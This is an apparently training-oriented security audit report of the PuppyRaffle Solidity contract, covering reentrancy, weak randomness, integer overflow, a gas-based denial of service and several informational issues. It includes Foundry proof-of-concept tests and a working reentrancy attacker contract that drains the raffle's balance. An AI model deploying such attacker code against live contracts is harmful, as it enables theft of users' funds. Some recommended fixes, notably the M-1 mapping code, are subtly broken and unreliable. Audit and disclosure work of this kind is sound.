PuppyRaffle Audit Report

Version 1.0

4rdii

March 4, 2024

Protocol Audit Report

Ardeshir Gholami

4 march 2024

Prepared by: Ardeshir Lead Auditors: - Patrick Collins, - Ardeshir :)

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
e30d199697bbc822b646d76533b66b7d529b8ef5
```

Scope

```
./src/
--- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	number of issues found
High	3
Medium	3
Low	1
Info	8
Total	15

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: the `PuppyRaffle::refund` function dosent follow CEI (checks effects intractions) and as a result, enables participants to drian the contract of it funds. in the `PuppyRaffle::refund` function we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
```

```
4               playerAddress == msg.sender,
5               "PuppyRaffle: Only the player can refund"
6           );
7           require(
8               playerAddress != address(0),
9               "PuppyRaffle: Player already refunded, or is not active"
10          );
11
12  @>      payable(msg.sender).sendValue(entranceFee);
13  @>      players[playerIndex] = address(0);
14
15          emit RaffleRefunded(playerAddress);
16      }
```

Impact: All fees paid by raffle entrants could be sotlen by the malicious participant.

Proof of Concept: 1. User enters the raffle 2. attacker sets upa acontract with a fallback function that calls `PuppyRaffle::refund` 3. attacker enters the raffle 4. attacke calls `PuppyRaffle::refund` from ther attack contrcat draining the contract balance.

PoC code

```
1       function test_reentrencyRefund() public playersEntered {
2           ReentrencyAttacker attackerContract = new ReentrencyAttacker(
3               puppyRaffle
4           );
5           address attackUser = makeAddr("attackUser");
6           vm.deal(attackUser, 10e18);
7           uint256 startingAttackocntractBalance = address(
               attackerContract)
8               .balance;
9
10          uint256 startingcontractBalance = address(puppyRaffle).balance;
11          vm.prank(attackUser);
12          attackerContract.attack{value: entranceFee}();
13          console.log(
14              "starting attacker contract balance: ",
15              startingAttackocntractBalance
16          );
17          console.log("starting contract balance: ",
               startingcontractBalance);
18          console.log(
19              "ending attacker contract balance: ",
20              address(attackerContract).balance
21          );
22      }
```

add this and the contract below to the test suit.

```
1   contract ReentrencyAttacker {
2       PuppyRaffle puppyRaffle;
```

```
3       uint256 entranceFee;
4       uint256 attackerIndex;
5
6       constructor(PuppyRaffle _puppyRaffle) {
7           puppyRaffle = _puppyRaffle;
8           entranceFee = puppyRaffle.entranceFee();
9       }
10
11      function attack() external payable {
12          address[] memory players = new address[](1);
13          players[0] = address(this);
14          puppyRaffle.enterRaffle{value: entranceFee}(players);
15          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16          puppyRaffle.refund(attackerIndex);
17      }
18
19      function _stealMoney() internal {
20          if (address(puppyRaffle).balance >= entranceFee) {
21              puppyRaffle.refund(attackerIndex);
22          }
23      }
24
25      fallback() external payable {
26          _stealMoney();
27      }
28
29      receive() external payable {
30          _stealMoney();
31      }
32  }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the players array before calling the external function. Additionally we should move the event emission up as well.

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence the winner and influence the winning puppy rarity.

Description: Hashing msg.sender , block.timestamp, and block.difficulty together creates a predictable find number, a predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner themselves. *Note:* this additionaly means that users can frontrun this function and call refund if they see they are not the winner.

Impact: any user can influence the winner of the raffle, winning the money and selecting the rarest puppy. Making the entire raffle worthless if it becomes a gas war to who wins the raffle.

Proof of Concept: 1. validators can know ahead of time the block timestamp and difficulty and use that to predict when or how to participate. See the solidity blog on prevrando, difficulty was recently replaced by the prevrando. 2. user can mine manipulate their msg.sender value to result in their address being used to generated the winner. 3. Users can revert their selectWinner transaction if they dont like the winner or result puppy. Using onchain values as a randomness seed is a well documented attack factor in blockchain space.

Recommended Mitigation: consider using a cryptographicaly provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: in solidity versions prior to `0.8.0` integers were subject to integer overflow.

```
uint64 myVar = type(uint64).max;
// myVar will be 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
```

```
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are nore attack vectors with that final requre so we recomment removing it regardless .

Medium

[M-1] Looping through players array for duplicates in `PuppyRaffle::enterRaffle` is a potentiall DoS attack, intrcementing gas costs for future players

Description: the `PuppyRaffle::enterRaffle` loops through players array t ocheck for duplicates. however, the longer the players array is the mroe checks a new players will have to make .this means the gas cost for late players will be increased.

```
//@audit DoS attack potential
        for (uint256 i = 0; i < players.length - 1; i++) {
            for (uint256 j = i + 1; j < players.length; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

Impact: the gas costs for raffle entrants will be greatly increased as more players enter the raffle. discourging later users from entring, an attacker might make the `PuppyRaffle::enterRaffle` arry so big that no one else is willing to enter gauranging them to win.

Proof of Concept: gas cost of first 100 players ~6252054 gas gas cost of 2nd 100 players ~18068144 gas this is more than 3x expensive for the 2nd 100 players.

PoC test code

```
    function test_denialOfService() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        // how much gas it costs
        uint256 gasStart = gasleft();
        uint256 length = players.length;
        puppyRaffle.enterRaffle{value: entranceFee * length}(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
```

```
14          console.log("gas cost of first 100 players", gasUsedFirst);
15          //2nd 100 players
16          address[] memory players2 = new address[](playersNum);
17          for (uint256 i = 0; i < playersNum; i++) {
18              players2[i] = address(i + playersNum);
19          }
20          // how much gas it costs
21          uint256 gasStart2 = gasleft();
22          uint256 length2 = players2.length;
23          puppyRaffle.enterRaffle{value: entranceFee * length2}(players2)
                ;
24          uint256 gasEnd2 = gasleft();
25          uint256 gasUsed2nd = (gasStart2 - gasEnd2) * tx.gasprice;
26          console.log("gas cost of 2nd 100 players", gasUsed2nd);
27          assert(gasUsedFirst < gasUsed2nd);
28      }
```

Recommended Mitigation: There are a few recommendations: 1. consider allowing duplicates, users can make new wallets anyways so a duplicate check dosent prevent the same person from multiple entries. 2. consider using a mapping for check for duplicates. this would allow constant time lookup of wether duplicate have entered.

```
1  + uint256 public raffleID;
2  + mapping (address => uint256) public usersToRaffleId;
3  .
4  .
5  function enterRaffle(address[] memory newPlayers) public payable {
6          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
7          for (uint256 i = 0; i < newPlayers.length; i++) {
8              players.push(newPlayers[i]);
9  +           usersToRaffleId[newPlayers[i]] = true;
10         }
11
12         // Check for duplicates
13 +       for (uint256 i = 0; i < newPlayers.length; i++){
14 +           require(usersToRaffleId[i] != raffleID, "PuppyRaffle:
       Already a participant");
15
16 -         for (uint256 i = 0; i < players.length - 1; i++) {
17 -             for (uint256 j = i + 1; j < players.length; j++) {
18 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
19 -             }
20         }
21
22         emit RaffleEnter(newPlayers);
23     }
24 .
25 .
```

```
26 .
27
28 function selectWinner() external {
29         //Existing code
30 +     raffleID = raffleID + 1;
31     }
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
               );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
               sender, block.timestamp, block.difficulty))) % players.
               length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  @>      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
```

```
4 // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -   uint64 public totalFees = 0;
2  +   uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
               players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                   timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15 -       totalFees = totalFees + uint64(fee);
16 +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winnsers without a receive or fallback function will block the start of a new contest

Description: the `PuppyRaffle::selectWinenr` function is responsible for resetting the lottery howerver if the winner is a smart contract wallet that rejects payments the lottery would not be aple to restatr. Users could easily call the selectWinenr function again and nonwallet entrants could enter but could cost a lot of more gas.

Impact: the `PuppyRaffle::selectWinenr` could revert many times making a lottery reset difficult. also true winnsers could not get paid out and someone else could take their money. **Proof of Concept:** 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)

2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for nonexistent players and for players at index 0. causeing a player at index 0 to incorrectly think they have not entered the raffle

Description: if a player is in the `PuppyRaffle::getActivePlayerIndex` array at index 0, the functin retunrs zero , it will also return zero when a player is not in array.

```
function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact:player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again and wwasting gas.

Proof of Concept: 1. User enters the raffle, as first entrant. 2. `PuppyRaffle::getActivePlayerIndex` returns 0 3. User thinks they have not entered correctly due to documentation 4. **Recommended Mitigation:** THe easieast recommendation is to revert if the player is not in array instead of returning 0. a better solution is to return an int256 where the function returns -1 if the player is not active.

Gas and Informational

[G-1] Unchanged state variables should be declared as constants and immutable.

Instances: - `PuppyRaffle::raffleDuration` should be immutable - `PuppyRaffle::commonImageUri` should be constant - `PuppyRaffle::rareImageUri` should be constant - `PuppyRaffle::legendaryImageUri` should be constant

[G-2] Storage variables in a loop should be cached

```
+         uint256 playersLength = players.length
-       for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 i = 0; i < playersLength - 1; i++) {

-           for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playersLength; j++) {
                require(
                    players[i] != players[j],
                    "PuppyRaffle: Duplicate player"
                );
            }
        }
```

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6;
```

[I-2] Using an outdate version of solidity is not recommended

please use a newer version of solidity.

Recommended Mitigation: Deploy with any of the following Solidity versions: 0.8.18 The recommendations take into account: Risks related to recent releases Risks of complex code generation changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to addresses state variables

- found in src/PuppyRaffle.sol: 8662:23:35

[I-4] `PuppyRaffle::selectWinner` does not follow CEI

its best to keep code clean and follow CEI (Checks , effects , Interactions)

[I-5] use of magic numbers is discouraged

It can be confusing to see numbers literal in a codebase , and its much more readable if the numbers are given a name. Examples:

```
+       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
+       uint256 public constant FEE_PERCENTAGE = 20;
+       uint256 public constant TOTAL_PERCENTAGE = 100;
.
.
.
-        uint256 prizePool = (totalAmountCollected * 80) / 100;
-        uint256 fee = (totalAmountCollected * 20) / 100;
         uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
         uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-6] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```